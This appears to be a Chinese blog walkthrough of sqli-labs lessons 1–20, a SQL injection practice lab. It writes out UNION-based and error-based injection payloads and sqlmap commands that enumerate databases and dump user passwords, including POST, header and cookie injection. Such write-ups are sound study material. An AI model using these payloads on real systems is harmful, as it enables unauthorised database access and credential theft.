1. less1

首先输入?id=1 查找是否有注入点.

输入单引号 回显报错 说明有注入漏洞 而且是数字型

输入 1’ or 1=1 order by 1 猜测列名#

这里发现#不能变成url编码 查一下 应该是%23

http://localhost/sqli-labs-master/Less-1/?id=1%27%20or%201=1%20order%20by%201%20#

在order by 4 的时候报错,说明select语句应该有三列.

然后获取当前数据库:

1’ or 1=1 union select 1,2,database() %23

但是后来知道 这里无论怎样返回的都是第一列的结果,所以把id=1改成id=0再注入

所以可以知道当前数据库的名称是 security

然后获取当前数据库中的表:

0' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database(),3 %27

可以看到 表名有 emails,refers,uagents,users 接下来就是获取users中的字段

0' union select 1,2,group_concat(column_name)from information_schema.columns where table_name ='users' %23

表中的字段有 id,username,password

之后获取我们感兴趣的字段的内容:

http://localhost/sqli-labs-master/Less-1/?id=0'%20union%20select%201,2,group_concat(id,username,password)from%20users%20%23

第一道题目完成.

2. less2

这道题是数字型注入:

所以和第一道题类似,不需要加单引号就可以。

获取当前数据库0 union select 1,2,database() %23

然后获取表:

0 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() %23

然后获取字段:

0 union select 1,2,group_concat(column_name)from information_schema.columns where table_name = 'users' %23

然后获取内容:

0 union select 1,2,group_concat(password) from users %23

第二道题完成。

3. less3

看回显报错 代码中 id 应该是 id =(‘$id’)

0') union select 1,2,3 %23实验一下是不是这么构造:

成功 所以接下来像前三关一样获取当前数据库,表,字段,内容就可以了.

第三题完成

4. less4

发现输入单引号 没有报错 输入双引号:

所以和上一个很像,应该用”)拼凑就可以了。

试一下 还是 union select 1,2,3 %23

成功了。

之后还是老方法,获取数据库,表,字段,内容

第四道题目完成.

5. less5

本关用前面的方法都无法注入回显,因为代码中不显示内容。所以需要利用基于错误的语句来注入。

http://localhost/sqli/Less-5/?id=1'and(select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password)fromuserslimit0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+

这里需要不停的刷新 直到显示出来为止。

6. less6

和第五道题类似,但是需要把单引号改成双引号:

http://localhost/sqli/Less-6/?id=1" and (select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+

7. less7

首先构造能够注入的语句, 发现是 id=1’))类型。

这里题目应该是导出文件:

但是上网搜了之后 用输出文件的语句 发现不行 只好用sqlmap了。。。

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1

之后获取当前数据库名称:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 --current-db

之后获取表:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security --tables

然后获取users中的字段:

-u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security -T users --columns

最后获取password内容:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security -T users -C password --dump

第7关完成

8. less8

在这一题,数据库的错误不再回显到页面上,但是我们可以发现当我们构造异常查询时,页面上的you are in会消失,这就是典型的布尔盲注

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1

可以看到 要比上一道题复杂的很多 也耗费时间了:

之后获取当前的dbs

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 --current-db

然后获取其中的表:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security --tables

然后获取users中的字段:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security -T users --columns

然后获取password中的内容:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security -T users -C password --dump

第八关完成.

9,10关和第八关类似 都有时间注入 所以用sqlmap跑就可以 ,或者自写python脚本.

11. less11

本关开始有post注入了

需要用到sqlmap中的一个 --form 的语句:

可以获取页面 然后构造需要post的数据:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms --dbs

然后获取当前数据库:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms ---current-db

然后获取表名:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms  -D security --tables

然后获取users的字段:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms  -D security -T users --columns

最后获取password的内容:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms  -D security -T users -C password --dump

12,13,14:less12 less13 less14

这关和上关类似 直接sqlmap一路到底就可以。

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-12/ --forms -D security -T users -C password --dump

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-13/ --forms -D security -T users -C password --dump

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-14/ --forms -D security -T users -C password --dump

15:less15

这关 需要设置更高的 level:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-15/ --forms -D security -T users -C password --dump --level3

更加复杂:

16. less16

第十六关 和第十五关类似:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-16/ --forms -D security -T users -C password --dump --level3

17. less17

第17关尝试 用burp抓包,然后获取整个页面的信息后保存在/root/home/1.txt文件中

然后

sqlmap -r "1.txt" -p passwd --tech E --dbms mysql --batch -v 0

18. Less18

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-18/ --user-agent="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0*" --level 4 --dbs --threads 10 --technique BEST –batch

19. less19

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-19/ --referer=" http://127.0.0.1/sqli-labs-master/Less-19/*" --level 4 --dbs --threads 10 --technique BEST –batch

20.

cookie注入:

sqlmap -u http://192.168.48.129/sqli-labs-master/Less-20/ --cookie="UM_distinctid=16668b878941c2-088ac16771352f-38694646-12c000-16668b878961048" --dbs

sqli-labs 1-20实验记录的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  3. 实验记录:Oracle redo logfile的resize过程

    实验记录:Oracle redo logfile的resize过程. 实验环境:RHEL 6.4 + Oracle 11.2.0.3 单实例 文件系统 实验目的:本实验是修改redo logfile的 ...

  4. case7 淋巴瘤子类分类实验记录

    case7 淋巴瘤子类分类实验记录 简介 分类问题:3分类 (identifying three sub-types of lymphoma: Chronic Lymphocytic Leukemia ...

  5. 使用Scapy向Mininet交换机注入流量 实验记录

    使用Scapy向Mininet交换机注入流量 实验记录 用Python脚本及Scapy库写了一个简单的流量生成脚本,并打算使用该脚本往Mininet中的OpenvSwitch交换机注入流量.拓扑图如下 ...

  6. “取出数据表中第10条到第20条记录”的sql语句+selecttop用法

    1.首先,select top用法: 参考问题 select top n * from和select * from的区别 select * from table -- 取所有数据,返回无序集合 sel ...

  7. “取出数据表中第10条到第20条记录”的sql语句+select top 使用方法

    1.首先.select top使用方法: 參考问题  select top n * from和select * from的差别 select * from table --  取全部数据.返回无序集合 ...

  8. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  9. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  10. SUCTF 2019 Upload labs 2 踩坑记录

    SUCTF 2019 Upload labs 2 踩坑记录 题目地址 : https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload La ...

随机推荐

  1. SDET面试之感受篇。

    某年某月的某一天,我来到了太监村的一栋大厦,因为早到了半个小时,拿出来提前准备好的code随便的翻看着. 人家都说,面试头五分钟就已经决定了,是否能面试成功.所以,面试真正的真谛可能就是相面.什么写c ...

  2. liunx增强命令

    查找命令 grep 格式:grep [option] pattern [file] 实例: ps -ef | grep sshd 查找指定 ssh 服务进程 ps -ef | grep sshd | ...

  3. Selenium2学习(八)-- 操作元素(键盘和鼠标事件)

    前言 在前面的几篇中重点介绍了一些元素的到位方法,到位到元素后,接下来就是需要操作元素了.本篇总结了web页面常用的一些操作元素方法,可以统称为行为事件 有些web界面的选项菜单需要鼠标悬停在某个元素 ...

  4. 再学UML-Bug管理系统UML2.0建模实例(三)

    3.系统设计 在对系统进行全面分析后,我们开始使用UML对系统进行设计,构造BMS系统的设计模型,包括类图.包图.顺序图(实现模型).组件图和部署图等的绘制,回答了“怎么做”的问题.具体设计工作如下: ...

  5. May 26th 2017 Week 21st Friday

    One thorn of experience is worth a whole wilderness of warning. 一次痛彻心扉的经历,抵得上千百次的告诫. Several days ag ...

  6. 页面三个txt加载联动省市县的代码,类似淘宝的收货地址的布局

    页面三个txt加载联动省市县的代码,假如有一个树形的JSON,分别显示的省市县这时候三个TXT怎么做联动效果呢,这里用framework7为例HTML: <div class="lis ...

  7. SPOJ 694 不同子串个数

    一个论文题,求一个字符串有多少个不同的子串. 每个字符串可以看做一个后缀的前缀,然后,就转换为求每一个后缀中,不同的子串有多少. 每一个后缀,根据长度,可以提供len - sa[i] 个子串,但是,画 ...

  8. 九、IntelliJ IDEA 编译方式介绍及编译器的设置和选择

    相对于 Eclipse 的实时自动编译,IntelliJ IDEA 的编译更加手动化,虽然 IntelliJ IDEA 也可以通过设置开启实时编译,但是太浪费资源了,因此不建议这样做.IntelliJ ...

  9. ORA-01950:对表空间 'USERS' 无权限

    在存储数据时出现ORA-01950:对表空间 'USERS' 无权限 错误,解决如下: 找到对象Users下的用户名,然后点编辑,角色权限添加dba 在oracle创建了一个新的表空间和一个新的用户, ...

  10. dedecms基础整理,

    需求3: 在添加某个商品的时候,我们希望多一个信息,就是付费方式,还希望多一个邮资信息,我们又该怎样处理? 引出修改内容模型的问题 每个模型的字段管理的所有信息 都属于附加表. 步骤: 点击 核心-& ...